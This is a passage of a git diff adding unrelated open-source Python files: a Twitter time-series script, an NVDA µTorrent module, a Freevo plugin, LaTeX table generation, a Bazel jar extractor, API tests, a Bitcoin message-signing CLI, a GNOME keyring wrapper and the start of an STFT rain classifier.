+setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['night', 'fun', 'dance', 'club'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/5', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/5', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 6 +################################################### +offset = ['Sun', 'Sep', 29, 15, 45, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['outside', 'london', 'sunny', 'barbecue'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/6', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/6', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 7 +################################################### +offset = ['Sun', 'Sep', 30, 17, 30, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['directioner', 'harry', 'direction', 'zayn'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/7', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/7', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 8 +################################################### +offset = ['Sun', 'Sep', 30, 20, 45, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['bored', 'tomorrow', 'end', 'weekend'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/8', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/8', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 9 +################################################### +offset = ['Mon', 'Oct', 1, 7, 45, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['monday', 'back', 'school', 'work'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/9', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/9', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) + +## Non Event 10 +################################################### +offset = ['Tue', 'Oct', 2, 14, 45, 30, 2012] +setTweets = newTimeSeries.desiredData('twitter_data', 180, offset) + +words = ['tuesday', 'london', 'city', 'event'] + +RefTimeSeries = newTimeSeries.getTimeSeries(words, setTweets) + +with open('RefTimeSeries/NonEvents/10', 'wb') as SaveFile: + pickle.dump(RefTimeSeries, SaveFile) + +with open('RefTimeSeries/NonEvents/10', 'r') as ReadFile: + Event = pickle.load(ReadFile) + +newTimeSeries.getPlot(Event) +newTimeSeries.getPlot(Event) + diff --git a/pool/shard009/Python/0082520_utorrent.py b/pool/shard009/Python/0082520_utorrent.py new file mode 100644 index 0000000000000000000000000000000000000000..649c707fbf3f7503fd615ac40311f6056e81f0bc --- /dev/null +++ b/pool/shard009/Python/0082520_utorrent.py @@ -0,0 +1,66 @@ +# -*- coding: UTF-8 -*- +#appModules/utorrent.py +#A part of NonVisual Desktop Access (NVDA) +#This file is covered by the GNU General Public License. +#See the file COPYING for more details. +#Copyright (C) 2010 James Teh + +u"""App module for µTorrent +""" + +import appModuleHandler +import api +import controlTypes +import displayModel +from logHandler import log +from NVDAObjects.IAccessible import IAccessible +from NVDAObjects.window import Window +from NVDAObjects.IAccessible.sysListView32 import ListItem + +class DuplicateFocusListView(IAccessible): + """A list view which annoyingly fires focus events every second, even when a menu is open. + """ + + def _get_shouldAllowIAccessibleFocusEvent(self): + # Stop annoying duplicate focus events, which are fired even if a menu is open. + focus = api.getFocusObject() + focusRole = focus.role + focusStates = focus.states + if (self == focus or + (focusRole == controlTypes.ROLE_MENUITEM and controlTypes.STATE_FOCUSED in focusStates) or + (focusRole == controlTypes.ROLE_POPUPMENU and controlTypes.STATE_INVISIBLE not in focusStates) + ): + return False + return super(DuplicateFocusListView, self).shouldAllowIAccessibleFocusEvent + +class TorrentContentsListItem(ListItem): + """Items of the Torrent Contents list in the Add Torrent dialog. + The file names aren't exposed via APIs, though the other column (size) is. + """ + + def _getColumnContent(self, column): + superContent = super(TorrentContentsListItem, self)._getColumnContent(column) + if superContent or column != 1: + return superContent + # We need to use the display model to retrieve the Name column. + try: + left, top, width, height = self._getColumnLocation(column) + return displayModel.getWindowTextInRect(self.appModule.helperLocalBindingHandle, self.windowHandle, + left, top, left + width, top + height, + displayModel.DisplayModelTextInfo.minHorizontalWhitespace, displayModel.DisplayModelTextInfo.minVerticalWhitespace)[0] + except: + log.debugWarning("Error retrieving name using display model", exc_info=True) + return superContent + +class AppModule(appModuleHandler.AppModule): + + def chooseNVDAObjectOverlayClasses(self, obj, clsList): + role = obj.role + if role == controlTypes.ROLE_WINDOW: + return + + if isinstance(obj, Window) and obj.windowClassName == "SysListView32": + if obj.windowControlID == 1206 and role == controlTypes.ROLE_LISTITEM: + clsList.insert(0, TorrentContentsListItem) + else: + clsList.insert(0, DuplicateFocusListView) diff --git a/pool/shard009/Python/0082521_artist.py b/pool/shard009/Python/0082521_artist.py new file mode 100644 index 0000000000000000000000000000000000000000..f723af503ae81a664b95cd5a375cca7ebd3793e5 --- /dev/null +++ b/pool/shard009/Python/0082521_artist.py @@ -0,0 +1,132 @@ +# -*- coding: iso-8859-1 -*- +# ----------------------------------------------------------------------------- +# artist.py - browse collection based on artist tag +# ----------------------------------------------------------------------------- +# $Id$ +# +# This plugin adds an item 'Browse by Artists' to the audio menu. The user +# can select an artist and after that an album of that artist (or all). +# +# This plugin is also a simple example how to write plugins and how to use +# kaa.beacon in freevo. +# +# ----------------------------------------------------------------------------- +# Freevo - A Home Theater PC framework +# Copyright (C) 2006-2009 Dirk Meyer, et al. +# +# First Edition: Dirk Meyer +# Maintainer: Dirk Meyer +# +# Please see the file AUTHORS for a complete list of authors. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of MER- +# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# ----------------------------------------------------------------------------- + +# Kaa imports +import kaa +import kaa.beacon + +# Freevo imports +from ... import core as freevo + + +class AlbumItem(freevo.Item): + """ + Item for on Album (or all) for an artist. + """ + def __init__(self, artist, album, parent): + super(AlbumItem, self).__init__(parent) + self.artist = artist + self.album = album + self.name = _('[ All Songs ]') + if album: + self.name = album + + def browse(self): + """ + Show all items from that artist. + """ + title = kaa.str_to_unicode(self.artist) + if self.album: + query = dict(artist=self.artist, album=self.album, type='audio') + title = '%s - %s' % (title, kaa.str_to_unicode(self.album)) + else: + query = dict(artist=self.artist, type='audio') + # FIXME: monitor query for live update + async = kaa.beacon.query(**query) + self.pl = freevo.Playlist(title, async, self, type='audio') + self.pl.browse() + + def actions(self): + """ + Actions for this item. + """ + return [ freevo.Action(_('Browse Songs'), self.browse) ] + + +class ArtistItem(freevo.Item): + """ + Item for an artist. + """ + def __init__(self, artist, parent): + super(ArtistItem, self).__init__(parent) + self.artist = artist + # Work around a beacon bug + for part in artist.split(' '): + self.name += ' ' + kaa.str_to_unicode(part.capitalize()) + self.name = self.name.strip() + + @kaa.coroutine() + def browse(self): + """ + Show all albums from the artist. + """ + # FIXME: monitor query for live update + query = yield kaa.beacon.query(attr='album', artist=self.artist, type='audio') + items = [ AlbumItem(self.artist, None, self) ] + for album in query: + items.append(AlbumItem(self.artist, album, self)) + self.menustack.pushmenu(freevo.Menu(_('Album'), items, type='audio')) + + def actions(self): + """ + Actions for this item. + """ + return [ freevo.Action(_('Browse Album from %s') % self.name, self.browse) ] + + +class PluginInterface(freevo.MainMenuPlugin): + """ + Add 'Browse by Artist' to the audio menu. + """ + + plugin_media = 'audio' + + @kaa.coroutine() + def artists(self, parent): + """ + Show all artists. + """ + items = [] + for artist in (yield kaa.beacon.query(attr='artist', type='audio')): + items.append(ArtistItem(artist, parent)) + parent.menustack.pushmenu(freevo.Menu(_('Artists'), items, type='audio')) + + def items(self, parent): + """ + Return the main menu item. + """ + return [ freevo.ActionItem(_('Browse by Artists'), parent, self.artists) ] diff --git a/pool/shard009/Python/0082522_collect_results.py b/pool/shard009/Python/0082522_collect_results.py new file mode 100644 index 0000000000000000000000000000000000000000..83c3e50120ef5503f6d02750251595243746a322 --- /dev/null +++ b/pool/shard009/Python/0082522_collect_results.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from __future__ import division, print_function + +import json + +macros_fn = "examples-macros.tex" +open(macros_fn, "w").close() +roman = ["i", "ii", "iii", "iv", "v", "vi", "vii", "viii", "ix", "x"] + +stats_rows = [] +for i, example in enumerate(["simulated/correct", "simulated/wrong-qpo", + "rotation/rotation", "astero/astero", + "transit/transit"]): + with open(example + ".json") as f: + data = json.load(f) + + data["ntot"] = data["nwalkers"] * (data["nburn"] + data["nsteps"]) + data["direct_time"] *= 1000 + data["time"] *= 1000 + stats_rows.append( + (r"{0} & {N} & {J} & {direct_time:.2f} & {time:.2f} & {ndim} & {ntot} " + r"& {neff:.0f} \\") + .format(i+1, **data) + ) + print(data["direct_time"] * data["ntot"] / 1000.0 / 60.0 / 60.0, + data["time"] * data["ntot"] / 1000.0 / 60.0) + + with open(macros_fn, "a") as f: + f.write("\\newcommand{{\\example{0}ndata}}{{{1}}}\n" + .format(roman[i], data["N"])) + f.write("\\newcommand{{\\example{0}nwalkers}}{{{1}}}\n" + .format(roman[i], data["nwalkers"])) + f.write("\\newcommand{{\\example{0}nburn}}{{{1}}}\n" + .format(roman[i], data["nburn"])) + f.write("\\newcommand{{\\example{0}nsteps}}{{{1}}}\n" + .format(roman[i], data["nsteps"])) + f.write("\\newcommand{{\\example{0}neff}}{{{1:.0f}}}\n" + .format(roman[i], data["neff"])) + + with open(example + "-params.json") as f: + params = json.load(f) + + rows = [] + for p in params: + if len(p[1]) == 1: + rows.append(r"{0} & {1} \\" + .format(p[0], p[1][0])) + elif len(p[1]) == 2: + rows.append(r"{0} & $\mathcal{{U}}({1[0]},\,{1[1]})$ \\" + .format(*p)) + else: + assert False + + with open(example + "-params.tex", "w") as f: + f.write("\\begin{floattable}\n") + f.write("\\begin{deluxetable}{cc}\n") + f.write("\\tablecaption{{The parameters and priors for " + "Example {0}. \label{{tab:example-{0}-params}}}}\n" + .format(i+1)) + f.write("\\tablehead{\colhead{parameter} & \colhead{prior}}\n") + f.write("\\startdata\n") + f.write("\n".join(rows)) + f.write("\n\\enddata\n") + f.write("\end{deluxetable}\n") + f.write("\end{floattable}\n") + + +with open("example-stats.tex", "w") as f: + f.write("\\begin{floattable}\n") + f.write("\\begin{deluxetable}{cccccccc}\n") + f.write("\caption{The computational cost and convergence stats for each " + "example. \label{tab:example-stats}}\n") + f.write("\\tablehead{& \colhead{$N$} & \colhead{$J$} & " + "\colhead{direct\\tablenotemark{a}} & " + "\colhead{\celerite\\tablenotemark{b}} & " + "\colhead{dimension\\tablenotemark{c}} & " + "\colhead{evaluations\\tablenotemark{d}} " + "& \colhead{$N_\mathrm{eff}$\\tablenotemark{e}}\\\\\n") + f.write("&&& \colhead{ms} & \colhead{ms} &&&}\n") + f.write("\\startdata\n") + f.write("\n".join(stats_rows)) + f.write("\n\\enddata\n") + f.write(r""" +\tablenotetext{a}{The computational cost of computing the GP model using the +general Cholesky factorization routine implemented in the Intel MKL.} +\tablenotetext{b}{The computational cost of computing the GP model using +\celerite.} +\tablenotetext{c}{The total number of parameters in the model.} +\tablenotetext{d}{The total number of evaluations of the model to run MCMC to +convergence.} +\tablenotetext{e}{The effective number of independent samples estimated by +computing the integrated autocorrelation time of the chain.} +""") + f.write("\end{deluxetable}\n") + f.write("\end{floattable}\n") diff --git a/pool/shard009/Python/0082523_aar_embedded_jars_extractor.py b/pool/shard009/Python/0082523_aar_embedded_jars_extractor.py new file mode 100644 index 0000000000000000000000000000000000000000..a46dd43b6fa53819476a2f1e00af404d1775c121 --- /dev/null +++ b/pool/shard009/Python/0082523_aar_embedded_jars_extractor.py @@ -0,0 +1,92 @@ +# pylint: disable=g-direct-third-party-import +# Copyright 2016 The Bazel Authors. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""A tool for extracting all jar files from an AAR. + +An AAR may contain JARs at /classes.jar and /libs/*.jar. This tool extracts all +of the jars and creates a param file for singlejar to merge them into one jar. +""" + +import os +import re +import sys +import zipfile + +from tools.android import junction +from third_party.py import gflags + +FLAGS = gflags.FLAGS + +gflags.DEFINE_string("input_aar", None, "Input AAR") +gflags.MarkFlagAsRequired("input_aar") +gflags.DEFINE_string( + "output_singlejar_param_file", None, "Output parameter file for singlejar") +gflags.MarkFlagAsRequired("output_singlejar_param_file") +gflags.DEFINE_string("output_dir", None, "Output directory to extract jars in") +gflags.MarkFlagAsRequired("output_dir") + + +def ExtractEmbeddedJars(aar, + singlejar_param_file, + output_dir, + output_dir_orig=None): + if not output_dir_orig: + output_dir_orig = output_dir + jar_pattern = re.compile("^(classes|libs/.+)\\.jar$") + singlejar_param_file.write("--exclude_build_data\n") + for name in aar.namelist(): + if jar_pattern.match(name): + singlejar_param_file.write("--sources\n") + # output_dir may be a temporary junction, so write the original + # (unshortened) path to the params file + singlejar_param_file.write(output_dir_orig + "/" + name + "\n") + aar.extract(name, output_dir) + + +def _Main(input_aar, + output_singlejar_param_file, + output_dir, + output_dir_orig=None): + if not output_dir_orig: + output_dir_orig = output_dir + with zipfile.ZipFile(input_aar, "r") as aar: + with open(output_singlejar_param_file, "wb") as singlejar_param_file: + ExtractEmbeddedJars(aar, singlejar_param_file, output_dir, + output_dir_orig) + + +def main(): + if os.name == "nt": + # Shorten paths unconditionally, because the extracted paths in + # ExtractEmbeddedJars (which we cannot yet predict, because they depend on + # the names of the Zip entries) may be longer than MAX_PATH. + aar_long = os.path.abspath(FLAGS.input_aar) + params_long = os.path.abspath(FLAGS.output_singlejar_param_file) + out_long = os.path.abspath(FLAGS.output_dir) + with junction.TempJunction(os.path.dirname(aar_long)) as aar_junc: + with junction.TempJunction(os.path.dirname(params_long)) as params_junc: + with junction.TempJunction(os.path.dirname(out_long)) as out_junc: + _Main( + os.path.join(aar_junc, os.path.basename(aar_long)), + os.path.join(params_junc, os.path.basename(params_long)), + os.path.join(out_junc, os.path.basename(out_long)), + FLAGS.output_dir) + else: + _Main(FLAGS.input_aar, FLAGS.output_singlejar_param_file, FLAGS.output_dir) + + +if __name__ == "__main__": + FLAGS(sys.argv) + main() diff --git a/pool/shard009/Python/0082525_users_controller_tests.py b/pool/shard009/Python/0082525_users_controller_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..103b6e20274dd98c2a7d78e196469e1d06e675fc --- /dev/null +++ b/pool/shard009/Python/0082525_users_controller_tests.py @@ -0,0 +1,150 @@ +import json +from copy import deepcopy +from .controller_test_case import ControllerTestCase + + +class UsersControllerTestCase(ControllerTestCase): + def default_user_json(self, id_=1): + return { + 'data': { + 'type': 'user', + 'id': str(id_), + 'attributes': { + 'name': 'Jane Doe' + } + } + } + + def make_a_user(self, id_=1): + return self.app.post('/users/{0}'.format(id_), + data=json.dumps(self.default_user_json(id_)), + content_type='application/json') + + def test_get_user(self): + id_ = 1 + post_data = self.default_user_json(id_) + self.make_a_user(id_) + + # get made user + get_response = self.app.get('/users/{0}'.format(id_)) + self.check_jsonapi_response(get_response, 200, post_data) + + def test_get_nonexistant_user(self): + response = self.app.get('/users/999') + self.check_response(response, 404, + { + 'error': 'The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.'}) + + def test_create_valid_user(self): + id_ = 1 + post_data = self.default_user_json(id_) + create_response = self.app.post('/users/{0}'.format(id_), data=json.dumps(post_data), + content_type='application/json') + self.check_jsonapi_response(create_response, 201, post_data) + + def test_create_invalid_user(self): + # missing name + post_data = { + 'data': { + 'type': 'user', + 'id': '1' + } + } + create_response = self.app.post('/users/1', data=json.dumps(post_data), content_type='application/json') + self.check_response(create_response, 400, + {'error': 'Provided user object was missing the name field'}) + + def test_create_best_effort_userid(self): + post_data_no_id = { + 'data': { + 'type': 'user', + 'attributes': { + 'name': 'Jane Doe' + } + } + } + create_response = self.app.post('/users/1', data=json.dumps(post_data_no_id), + content_type='application/json') + expected_response = deepcopy(post_data_no_id) + expected_response['data'].update({'id': '1'}) + self.check_jsonapi_response(create_response, 201, expected_response) + + + def test_create_duplicate_userid(self): + id_ = 1 + self.make_a_user(id_) + + post_data = self.default_user_json(id_) + create_response = self.app.post('/users/{0}'.format(id_), data=json.dumps(post_data), + content_type='application/json') + self.check_response(create_response, 409, + {'error': 'user with id 1 already exists'}) + + def test_delete_user(self): + id_ = 1 + post_data = self.default_user_json(id_) + self.make_a_user(id_) + + # delete made user + delete_response = self.app.delete('/users/{0}'.format(id_)) + self.check_jsonapi_response(delete_response, 200, post_data) + + # check that get now fails + response = self.app.get('/users/{0}'.format(id_)) + self.check_response(response, 404, + { + 'error': 'The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.'}) + + def test_delete_nonexistant_user(self): + response = self.app.delete('/users/999') + self.check_response(response, 404, + { + 'error': 'The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.'}) + + def test_update_user(self): + id_ = 1 + post_data = self.default_user_json(id_) + self.make_a_user(id_) + + # modify the user + post_data['name'] = 'John Doe' + update_response = self.app.put('/users/{0}'.format(id_), data=json.dumps(post_data), + content_type='application/json') + self.check_jsonapi_response(update_response, 200, post_data) + + # check that get now has the new data too + get_response = self.app.get('/users/{0}'.format(id_)) + self.check_jsonapi_response(update_response, 200, post_data) + + def test_update_invalid_user(self): + id_ = 1 + post_data = self.default_user_json(id_) + self.make_a_user(id_) + + # modify the user in an invalid way (missing name) + del post_data['data']['attributes']['name'] + update_response = self.app.put('/users/{0}'.format(id_), data=json.dumps(post_data), + content_type='application/json') + self.check_response(update_response, 400, + {'error': 'Provided user object was missing the name field'}) + + # check that get still has the old data + post_data = self.default_user_json(id_) + get_response = self.app.get('/users/{0}'.format(id_)) + self.check_jsonapi_response(get_response, 200, post_data) + + def test_update_nonexistant_user(self): + # without post body data + response = self.app.put('/users/999') + self.check_response(response, 400, None) + + # with post body data + id_ = 987 + post_data = self.default_user_json(id_) + response = self.app.put('/users/{0}'.format(id_), data=json.dumps(post_data), content_type='application/json') + self.check_response(response, 404, + { + 'error': 'The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.'}) + + +suite = UsersControllerTestCase.suite() diff --git a/pool/shard009/Python/0082526_setup.py b/pool/shard009/Python/0082526_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..b5f615a1c7724384d9e369aa55e487f6a292146f --- /dev/null +++ b/pool/shard009/Python/0082526_setup.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +import sys +import os +import re +from setuptools import setup, find_packages + + +DEPS = ['opster==4.2', 'termcolor==1.1.0'] +extra = {} + +if sys.version_info[0] < 3: + DEPS.append('configparser==3.5.0') + + +def read(fname): + return open(os.path.join(os.path.dirname(__file__), fname)).read() + + +def find_version(): + val, = re.findall(r"__version__ = '([^']+)'", + read('nomad/__init__.py')) + return val + + +config = dict( + name='nomad', + description='simple sql migration tool to save you from becoming mad', + long_description=read('README.rst'), + license='ISC', + version=find_version(), + author='Alexander Solovyov', + author_email='alexander@solovyov.net', + url='http://github.com/piranha/nomad/', + classifiers=[ + 'Environment :: Console', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: BSD License', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Topic :: Software Development', + 'Topic :: Software Development :: Version Control', + 'Topic :: Database' + ], + + install_requires=DEPS, + packages=find_packages(), + entry_points={'console_scripts': ['nomad=nomad:app.dispatch']}, + platforms='any', + **extra) + +if __name__ == '__main__': + setup(**config) diff --git a/pool/shard009/Python/0082534_chain_jobs.py b/pool/shard009/Python/0082534_chain_jobs.py new file mode 100644 index 0000000000000000000000000000000000000000..e44fa762737911a3ac90633a95c0623389e34a25 --- /dev/null +++ b/pool/shard009/Python/0082534_chain_jobs.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python2 + +import argparse +import json +import math +import os + +parser = argparse.ArgumentParser() +parser.add_argument('out_dir') +parser.add_argument('json_file', nargs='+', type=argparse.FileType('r')) +parser.add_argument('iters_per_job', type=int) +args = parser.parse_args() + +cases = [] +max_iter = [] +for fin in args.json_file: + case = json.load(fin) + cases.append(case) + assert('configs' in case and len(case['configs']) == 2) + max_iter.append((int(case['configs'][0]['Integrator']['maxIter']), + int(case['configs'][1]['Integrator']['maxIter']))) + +total_max_iter = max([max(a,b) for (a,b) in max_iter]) +num_jobs = int(math.ceil(float(total_max_iter) / args.iters_per_job)) +for i in range(0, num_jobs): + os.mkdir('job%d' % i) + os.mkdir('%s/job%d' % (args.out_dir, i)) + for j in range(0, len(cases)): + for k in range(0, 2): + iter_i = min(i * args.iters_per_job, max_iter[j][k]) + iter_i_1 = min((i+1) * args.iters_per_job, max_iter[j][k]) + config = cases[j]['configs'][k] + dt = float(config['Integrator']['fixedDeltaTime']) + config['Integrator']['startIter'] = iter_i + config['Integrator']['startTime'] = iter_i * dt + config['Integrator']['maxIter'] = iter_i_1 + if i > 0: + config['Flow']['initCase'] = 'Restart' + config['Flow']['restartDir'] = '%s/job%d/sample%s/fluid_iter%010d' % (args.out_dir, i-1, 2*j+k, iter_i) + config['Particles']['initCase'] = 'Restart' + config['Particles']['restartDir'] = '%s/job%d/sample%s/particles_iter%010d' % (args.out_dir, i-1, 2*j+k, iter_i) + with open('job%d/case%d.json' % (i, j), 'w') as fout: + json.dump(cases[j], fout, indent=4) + +print "Testcases created; when you're ready, run:" +for i in range(0, num_jobs): + after_str = 'AFTER=$JOBID ' if i > 0 else '' + print 'JOBOUT=`%sRANKS_PER_NODE=4 $SOLEIL_DIR/src/soleil.sh $(echo -m\ job%d/case{0..%d}.json) -o %s/job%d`; JOBID="${JOBOUT//[!0-9]/}"; echo $JOBID' % (after_str, i, len(cases) - 1, args.out_dir, i) diff --git a/pool/shard009/Python/0082538_bitcoinwand.py b/pool/shard009/Python/0082538_bitcoinwand.py new file mode 100644 index 0000000000000000000000000000000000000000..fb315de0d57ebb8f98a2e7010e7b94e8454ca562 --- /dev/null +++ b/pool/shard009/Python/0082538_bitcoinwand.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +import argparse +import os +import sys +import requests + +from helpers.ipfshelpers import add_json +from helpers.configurationhelpers import get_ipfs_api_host, get_ipfs_api_port +from helpers.hotwallethelpers import get_private_key_from_wallet, find_address_in_wallet +from helpers.messagehelpers import sign_message +from validators.validators import valid_address + + +# Create main parser +parser = argparse.ArgumentParser(description='Bitcoin Wand command line interface', formatter_class=argparse.RawDescriptionHelpFormatter) +parser.add_argument('address', help='The address that is sending the message') +parser.add_argument('message', help='The message itself OR name of the file that contains the message') +parser.add_argument('url', help='The url to send the request to') + +# Parse arguments +args = parser.parse_args() + +# Check if address is valid +if not valid_address(args.address): + print('Invalid address: %s' % args.address) + sys.exit(1) + +data = {'address': args.address} + +# Find the private key of the address in the hot wallet +account, index = find_address_in_wallet(address=data['address'], accounts=100) # Todo find better way to specify number of accounts to search +if account is None or index is None: + print('Can not find address in wallet!') + sys.exit(1) +else: + private_key = get_private_key_from_wallet(account=account, index=index)[data['address']] + +# If the message argument is the name of an existing file, then the real message is the contents of that file +if os.path.isfile(args.message): + with open(args.message, 'r') as input_file: + data['message'] = input_file.read() +else: + data['message'] = args.message + + +# The Bitcoin Signed Message can not be longer than 256 characters, if it is longer, put the message on IPFS and sign the hash instead +if len(data['message']) >= 256: + # # Check if IPFS node is running + # try: + # ipfs = ipfsapi.connect(get_ipfs_api_host(), get_ipfs_api_port()) + # except Exception as ex: + # print('IPFS node is not running: %s' % ex) + # sys.exit(1) + + message_hash = add_json(data['message']) + data['message'] = '/ipfs/%s' % message_hash + + + +# Calculate the signature +data['signature'] = sign_message(message=data['message'], private_key=private_key) +# data['data'] = 'Hello world!' + +# Send the signed message as a POST request to the url +try: + r = requests.post('{url}'.format(url=args.url), json=data) + print(r.text) +except Exception as ex: + print('Unable to send signed message to trigger: %s' % ex) + sys.exit(1) diff --git a/pool/shard009/Python/0082539_leerXML.py b/pool/shard009/Python/0082539_leerXML.py new file mode 100644 index 0000000000000000000000000000000000000000..27ec46f4c42d116e7f1666fd447da0c6177d0df6 --- /dev/null +++ b/pool/shard009/Python/0082539_leerXML.py @@ -0,0 +1,23 @@ +import os +from xml.etree import ElementTree + +def cargaXML(path): + + file_name = path + try: + full_file = os.path.abspath(os.path.join(file_name)) + dom = ElementTree.parse(full_file) + matrizX = dom.find('matriz/x').text + matrizY = dom.find('matriz/y').text + yield matrizX ,matrizY + operacion = dom.findall('operaciones/operacion') + for tab in operacion: + yield tab.text.strip(), None + except Exception as error: + print("\nDireccion invalidad! :(\n") + + +#for tab , tab2 in cargaXML("c:/carga.xml"): +# print(tab,tab2) + + diff --git a/pool/shard009/Python/0082541_keyring.py b/pool/shard009/Python/0082541_keyring.py new file mode 100644 index 0000000000000000000000000000000000000000..b7f58ac9a82a1eb8e41ccf2bee9b6bc2e6f71656 --- /dev/null +++ b/pool/shard009/Python/0082541_keyring.py @@ -0,0 +1,90 @@ +# -*- coding: utf-8 -*- +# ----------------------------------------------------------------------------- +# Getting Things GNOME! - a personal organizer for the GNOME desktop +# Copyright (c) 2008-2013 - Lionel Dricot & Bertrand Rousseau +# +# This program is free software: you can redistribute it and/or modify it under +# the terms of the GNU General Public License as published by the Free Software +# Foundation, either version 3 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +# details. +# +# You should have received a copy of the GNU General Public License along with +# this program. If not, see . +# ----------------------------------------------------------------------------- + +try: + from gi.repository import GnomeKeyring +except ImportError: + GnomeKeyring = None + +from GTG.tools.borg import Borg +from GTG.tools.logger import Log + + +class GNOMEKeyring(Borg): + + def __init__(self): + super().__init__() + if not hasattr(self, "keyring"): + result, self.keyring = GnomeKeyring.get_default_keyring_sync() + if result != GnomeKeyring.Result.OK: + raise Exception("Can't get default keyring, error=%s" % result) + + def set_password(self, name, password, userid=""): + attrs = GnomeKeyring.Attribute.list_new() + GnomeKeyring.Attribute.list_append_string(attrs, "backend", name) + result, password_id = GnomeKeyring.item_create_sync( + self.keyring, + GnomeKeyring.ItemType.GENERIC_SECRET, + name, + attrs, + password, + True) + + if result != GnomeKeyring.Result.OK: + raise Exception("Can't create a new password, error=%s" % result) + + return password_id + + def get_password(self, item_id): + result, item_info = GnomeKeyring.item_get_info_sync( + self.keyring, item_id) + if result == GnomeKeyring.Result.OK: + return item_info.get_secret() + else: + return "" + + +class FallbackKeyring(Borg): + + def __init__(self): + super().__init__() + if not hasattr(self, "keyring"): + self.keyring = {} + self.max_key = 1 + + def set_password(self, name, password, userid=""): + """ This implementation does nto need name and userid. + It is there because of GNOMEKeyring """ + + # Find unused key + while self.max_key in self.keyring: + self.max_key += 1 + + self.keyring[self.max_key] = password + return self.max_key + + def get_password(self, key): + return self.keyring.get(key, "") + +if GnomeKeyring is not None: + Keyring = GNOMEKeyring +else: + Log.info("GNOME keyring was not found, passwords will be not stored after\ + restart of GTG") + Keyring = FallbackKeyring diff --git a/pool/shard009/Python/0082547_stft.py b/pool/shard009/Python/0082547_stft.py new file mode 100644 index 0000000000000000000000000000000000000000..9447bfa62ae0614ea9fdeb5583b13cd9c9d1a42e --- /dev/null +++ b/pool/shard009/Python/0082547_stft.py @@ -0,0 +1,235 @@ +from __future__ import print_function +from __future__ import division + +# ---------------------------------------------------------------------------- +# Name: +# Purpose: +# +# Authors: +# +# Created: +# Copyright: (c) Christian Chwala 2016 +# Licence: The MIT License +# ---------------------------------------------------------------------------- + + +from builtins import range +import numpy as np +from matplotlib import mlab +from matplotlib.mlab import specgram as specg +import pandas as pd + + +def stft_classification( + rsl, + window_length, + threshold, + f_divide, + t_dry_start=None, + t_dry_stop=None, + dry_length=None, + mirror=False, + window=None, + Pxx=None, + f=None, + f_sampling=1 / 60, +): + + """Perform wet/dry classification with Rolling Fourier-transform method + + Parameters + ---------- + rsl : iterable of float + Time series of received signal level + window_length : int + Length of the sliding window + threshold : int + Threshold which has to be surpassed to classifiy a period as 'wet' + f_divide : float + Parameter for classification with method Fourier transformation + t_dry_start : int + Index of starting point dry period + t_dry_stop : int + Index of end of dry period + dry_length : int + Length of dry period that will be automatically identified in the + provided rsl time series + mirror : bool (defaults to False) + Mirroring values in window at end of time series + window : array of float, optional + Values of window function. If not given a Hamming window function is + applied (Default is None) + Pxx : 2-D array of float, optional + Spectrogram used for the wet/dry classification. + 